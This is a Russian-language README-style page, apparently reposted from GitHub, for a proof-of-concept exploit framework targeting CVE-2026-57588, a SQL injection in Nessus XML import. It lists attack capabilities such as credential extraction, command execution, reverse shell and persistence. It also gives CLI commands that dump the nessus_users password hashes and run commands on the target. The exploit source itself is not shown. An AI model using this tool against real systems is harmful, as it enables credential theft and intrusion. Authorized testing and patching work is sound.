PoC для CVE-2026-57588 - SQL-инъекция в импорте XML Nessus 10.12.0. Генерирует вредоносные .nessus файлы для перечисления баз данных, эксфильтрации учетных данных и тестирования time-based blind injection. Для авторизованных исследований безопасности. Автор: Sudeepa Wanigarathna. Исправлено в 10.12.1.
Поделиться
🛡️ CVE-2026-57588 - Фреймворк эксплуатации SQL-инъекции Nessus
CVE-2026-57588 — критическая уязвимость SQL-инъекции, обнаруженная в Tenable Nessus версий 10.12.0 и более ранних. Уязвимость находится в механизме разбора XML при импорте файлов результатов сканирования .nessus, позволяя аутентифицированным пользователям с правами импорта выполнять произвольные SQL-запросы к бэкенд-базе данных PostgreSQL.
⚠️ Детали уязвимости
Параметр
Значение
CVE ID
CVE-2026-57588
Тип уязвимости
SQL-инъекция
Затронутые продукты
Tenable Nessus 10.12.0 и более ранние
Исправленная версия
Nessus 10.12.1 и новее
Оценка CVSS
4.3 (Средняя)
Вектор атаки
Сеть
Сложность атаки
Низкая
Необходимые привилегии
Аутентифицированный (права импорта)
Взаимодействие пользователя
Требуется (социальная инженерия)
Воздействие
Извлечение данных, удаленное выполнение кода
🔬 Технические детали
Уязвимость существует из-за недостаточной санитизации значений XML-тегов перед их включением в SQL-запросы в процессе импорта. Злоумышленник может создать файл .nessus, содержащий специально сформированные пейлоады SQL-инъекций в таких XML-тегах, как:
hostname
fqdn
os
system-type
mac-address
netbios-name
Когда привилегированный пользователь импортирует вредоносный файл, несанитизированные значения выполняются против бэкенда PostgreSQL, что позволяет:
Перечисление базы данных
Извлечение данных
Выполнение команд
Доступ к файловой системе
Установка персистентности
✨ Возможности
Нажмите, чтобы развернуть список возможностей
🎯 Управление пейлоадами
13+ типов пейлоадов, классифицированных по назначению
Шаблонная генерация пейлоадов
Создание и валидация пользовательских пейлоадов
Валидация параметров и проверка синтаксиса
Проверка синтаксиса SQL
🚀 Возможности эксплуатации
Многоэтапная эксплуатация с параллельным выполнением
Снятие отпечатков и перечисление базы данных
Извлечение данных с настраиваемым выбором таблиц/столбцов
Выполнение команд на целевой системе
Доступ к файловой системе и чтение файлов
Обратная оболочка с интерактивной сессией
Механизмы установки персистентности
Слепая SQL-инъекция на основе времени
Слепая SQL-инъекция на основе булевых значений
SQL-инъекция на основе ошибок
Стековые запросы для продвинутой эксплуатации
Внеполосное извлечение данных через DNS
📊 Отчетность и логирование
HTML-отчеты с профессиональным стилем
Markdown-отчеты для документации
JSON-отчеты для автоматизации
Текстовые отчеты для быстрого просмотра
Ротация логов с несколькими уровнями
Детальная статистика выполнения
Хеширование файлов для проверки целостности
🛠️ Расширенные возможности
Параллельное выполнение с настраиваемым числом задач
Поддержка прокси для скрытных операций
Обработка сертификатов SSL/TLS
Валидация XML и проверка схемы
Интерактивный режим для живой эксплуатации
Механизм повторных попыток для надежности
Настройка тайм-аута для медленных соединений
📦 Профессиональный инструментарий
Структура CLI на основе подкоманд
Подробный и тихий режимы
Цветной вывод в терминале
Индикаторы прогресса для длительных задач
Поддержка Docker для контейнеризированного тестирования
# Установить как пакет
pip install -e .
# Теперь можно запускать из любой директории
nessus-exploit generate -u https://test.com -p enum
🚀 Быстрый старт
Базовое использование
root@kitploit:~
# Сгенерировать базовый эксплойт для перечисления
python3 exploit.py generate -u https://test.com -p enum
# Сгенерировать продвинутый многоэтапный эксплойт
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# Извлечь данные из базы данных
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
Справка по командам
root@kitploit:~
# Показать общую справку
python3 exploit.py --help
# Показать справку по команде generate
python3 exploit.py generate --help
# Список всех доступных пейлоадов
python3 exploit.py list
# Создать все форматы отчетов
python3 exploit.py report -i results.json -o report
# Создать только HTML-отчет
python3 exploit.py report -i results.json -o report.html --format html
# Создать Markdown-отчет
python3 exploit.py report -i results.json -o report.md --format markdown
Содержимое отчета
Информация о цели
ID сессии и тип пейлоада
Статистика выполнения
Список сгенерированных файлов
Хеши файлов для целостности
Логи ошибок (если есть)
Отказ от ответственности и предупреждения
🔧 Устранение неполадок
Частые проблемы и решения
Проблема 1: Ошибки соединения
root@kitploit:~
# Ошибка: Соединение отклонено
# Решение: Проверить, запущен ли Nessus и доступен ли порт
python3 exploit.py generate -u https://test.com:8834 -p enum
# Ошибка: Не удалось проверить SSL-сертификат
# Решение: Отключить проверку SSL
python3 exploit.py generate -u https://test.com -p enum --no-ssl-verify
Проблема 2: Ошибки валидации XML
root@kitploit:~
# Ошибка: Неверная структура XML
# Решение: Отключить валидацию XML
python3 exploit.py generate -u https://test.com -p enum --no-validate
Проблема 3: Ошибки пейлоадов
root@kitploit:~
# Ошибка: Отсутствует обязательный параметр
# Решение: Проверить требования пейлоада
python3 exploit.py validate -p command_exec
# Затем указать необходимые параметры
python3 exploit.py generate -u https://test.com -p exec --command "whoami"
Проблема 4: Отказано в доступе
root@kitploit:~
# Ошибка: Невозможно записать файлы
# Решение: Проверить права на директорию
chmod 755 ./outputs/
python3 exploit.py generate -u https://test.com -p enum -o ./outputs/scan.nessus
Проблема 5: Проблемы с тайм-аутом
root@kitploit:~
# Ошибка: Операция превысила тайм-аут
# Решение: Увеличить тайм-аут
python3 exploit.py generate -u https://test.com -p advanced --timeout 120
# Или использовать повторные попытки
python3 exploit.py generate -u https://test.com -p advanced --retries 5
🔐 Соображения безопасности
⚠️ Важные предупреждения
Соблюдение закона: Используйте только на системах, которые вам принадлежат, или при наличии явного письменного разрешения на тестирование
Защита данных: Обращайтесь с извлеченными учетными данными и данными с особой осторожностью
Изолированная среда: Всегда тестируйте в изолированных лабораторных средах
Резервное копирование: Всегда делайте резервные копии баз данных перед тестированием
Восстановление: Восстанавливайте системы в исходное состояние после тестирования
Документация: Документируйте все действия по тестированию для соблюдения требований
✅ Лучшие практики
Используйте выделенные тестовые учетные записи
Ведите подробные журналы всех действий
Используйте VPN/прокси для анонимности при тестировании сторонних систем
Следуйте правилам ответственного раскрытия информации
Обучите свою команду об этой уязвимости
📝 Лицензия
Этот проект лицензирован по лицензии MIT - подробности см. в файле LICENSE.
🤝 Внесение вклада
Вклад приветствуется! Не стесняйтесь отправлять Pull Request.
Настройка разработки
root@kitploit:~
# Клонировать репозиторий
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Установить зависимости для разработки
pip install -r requirements-dev.txt
# Запустить тесты
pytest
# Форматировать код
black exploit.py
# Проверить стиль кода
flake8 exploit.py
⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот инструмент предназначен ТОЛЬКО для ОБРАЗОВАТЕЛЬНОГО и АВТОРИЗОВАННОГО тестирования безопасности. Несанкционированное использование является НЕЗАКОННЫМ. Автор НЕ НЕСЕТ ОТВЕТСТВЕННОСТИ за неправильное использование.